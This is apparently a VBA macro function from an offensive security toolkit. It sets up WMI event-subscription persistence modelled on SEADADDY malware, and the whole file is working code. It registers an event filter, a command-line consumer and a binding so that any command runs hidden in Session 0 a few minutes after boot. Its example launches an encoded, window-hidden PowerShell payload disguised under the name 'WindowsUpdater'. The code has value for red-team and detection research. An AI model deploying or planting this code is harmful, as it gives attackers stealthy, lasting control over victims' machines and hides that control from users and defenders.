' ' SYNOPSIS: ' WMI Persistence method as originally presented by SEADADDY malware ' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887) ' and further documented by Matt Graeber. ' ' The scheduled command will be launched after roughly 3 minutes since system ' gets up. Also, even if the command shall spawn a window - it will not be visible, ' since the command will get invoked by WmiPrvSE.exe that's running in Session 0. ' ' USAGE: ' WMIPersistence("command to be launched", "taskName") ' ' EXAMPLE: ' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater") ' ' AUTHOR: ' Mariusz Banach / mgeeky, '17 ' Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean Dim filterName, consumerName As String Dim objLocator, objService1 Dim objInstances1, objInstances2, objInstances3 Dim newObj1, newObj2, newObj3 On Error GoTo Failed filterName = taskName & "Event" consumerName = taskName & "Consumer" Set objLocator = CreateObject("WbemScripting.SWbemLocator") Set objService1 = objLocator.ConnectServer(".", "root\subscription") ' ' Step 1: Set WMI Instance of type Event Filter ' Set objInstances1 = objService1.Get("__EventFilter") ' The malware originally will kicks in after roughly 3 minutes since System gets up. ' One can modify this delay time by modifying the WHERE clausule of the below query. query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _ & "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _ & "AND TargetInstance.SystemUpTime >= 200 AND " _ & "TargetInstance.SystemUpTime < 320" ' New object of type __EventFilter Set newObj1 = objInstances1.Spawninstance_ newObj1.name = filterName newObj1.eventNamespace = "root\cimv2" newObj1.QueryLanguage = "WQL" newObj1.query = query newObj1.Put_ ' ' Step 2: Set WMI instance of type: CommandLineEventConsumer ' Set objInstances2 = objService1.Get("CommandLineEventConsumer") Set newObj2 = objInstances2.Spawninstance_ newObj2.name = consumerName newObj2.CommandLineTemplate = exePath newObj2.Put_ ' ' Step 3: Set WMI instance of type: Filter To Consumer Binding ' Set objInstances3 = objService1.Get("__FilterToConsumerBinding") Set newObj3 = objInstances3.Spawninstance_ newObj3.Filter = "__EventFilter.Name=""" & filterName & """" newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """" newObj3.Put_ WMIPersistence = True Exit Function Failed: WMIPersistence = False End Function